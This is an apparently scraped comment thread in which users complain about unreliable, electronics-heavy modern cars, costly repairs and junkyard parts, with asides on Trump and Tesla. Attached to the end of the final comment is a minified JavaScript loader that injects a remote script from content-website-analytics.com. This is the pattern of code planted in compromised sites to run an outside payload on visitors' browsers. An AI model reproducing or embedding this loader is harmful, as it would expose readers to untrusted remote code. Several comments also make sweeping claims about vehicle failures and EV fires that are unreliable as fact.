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I don’t know about other country cars but seems to me when they started outsourcing manufacturing combined with electronic overkill it’s been going down hill as far as reliability and as far as being able to fix a car. A friend said her mechanic and friend had to make a part for her car. Used to be able to get life time warrantee on parts and batteries with longer warrantees but no longer. Quality in manufacturing down, add a bunch of electronics prices up. Also switching metal to make lighter cars but prices up makes no sense. Many serious and honest  mechanics who have to fix them aren’t too happy either.

It doesn’t work now because parts don’t wear out, they fail, and the same part fails on every car. The BT50 headlight will fail on many, which is why the second hand price is just below new price. Toyota Prados built between 2009 and 2014 have a manufacturing fault in the gearbox affecting the clutch. They all fail. The front end falls off 2014-2018 Isuzus. Diesel RAV4s only have a tow weight of half a ton. Hyundai i30 aircons are terrible. VW Polo 5th gears have a plastic part which never lasts. In other words, you’ll never find a Polo gearbox at pick ‘n pull that isn’t faulty, because that’s why the car is there in the first place.

They should keep all those cars at the junk yard for parts. Since they generally stop making new parts after 5 years best to get a popular car good for transportation and gas. What they call pick and pull here with popular cars here which range from Toyotas, Honda’s second ,Lexus to Dodge Ram etc you can find parts at pick and pulls if all else fails. Instead of looking at these shining  cars with all the gadgets and apparently some your not even aware of to impress people but all sorts of things going wrong with electronic overkill, with over charged  flimsy cheap parts they stop making that break easily and cost them to fix things. Then they put things in units where you have to buy the whole unit instead of one thing, another robbery scam. They want you to have to keep buying cars like they’re disposable instead of fixing them. What a waist of money and natural resources. There are a few more EVs on the road by people who drive a lot and some invested in solar to charge them and in winter late at night before sunrise when electric costs go down and keep a gas car as second car.  Nevertheless we had a power out yesterday during the night before sunrise. These EVs tend to always catch fire in a impact accident. Anyone that has them should have a reliable window breaker in their car.

Re yr 21.44 on Trump….great post …tks

I know a a guy who runs his own Jag garage …..was an apprentice at 16 for Jaguar, @ 50 years ago, then started his on his own…now people bring him cars from all over the world, even Jaguar themselves bring him cars…he says no car built after 2014 is worth touching , for exactly yr reasons, they are way too complicated and can take weeks to fix….he had an I Pace in that no-one could fix, the car was dead…eventually they found the fault,,,a failed light above the tow bar…the total bill was £ thousands !!!!!!

One story I was told, the guy was driving down the road, and suddenly for no reason, his brakes went on and the horn started honking. He could have gotten rear ended.

Another story, the guy is driving down the highway, and some guy cuts in front of him, he instantly cut the steering wheel to the left, and the steering wheel was shuttering and resisting him from turning because he did not use his directional signal first.

I would love to buy a new car but they are way too complicated with way too many electronic things that can go wrong and very expensive to fix. There is a junk yard near me, and every time I ride by there, I see plenty of very nice looking cars, with no body damage, ready to be crushed, obviously because of expensing electronic night mares.

My newsist car is a 2001 GMC Jimmy, and even that one is too new for me, but FAR FAR better than any cars after 2004.

@deer79 you’re welcome.

Thanks for posting the piece about CK’s perspective on Trump. An interesting take…..

It got hit by hail two years ago and I had my car parked below two pine trees. It was big hail,at least inch and a quarter and it cost me $11,300 to have the dents removed. If my car would have just been sitting outside, it would have been totaled. My car has adaptive cruise control and it uses two cameras for steering, looking ahead, and braking. Of course my roof was damaged from this hail, so they had to take down the headliner, which means they had to takedown my rear view mirror in the process. These two cameras sit in rear view mirror and the cost of getting the two cameras repositioned was over $1800. People would say that’s stupid, I would never pay that much. I think those cameras have already saved me $1800 bucks just in accident avoidance alone.

I know you guys all hate Tesla, but I don’t. FSD is the best driving system in the world, no one can even come close, and you guys hated Tesla and watched it go from some pipsqueak stock to the heavens and most of you badmouthed it the whole way, and you were all wrong. Laugh. I stole lunches. And that’s why I get to keep the money bags and you guys don’t. Stockholders with guts win, my hands are big and strong!;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);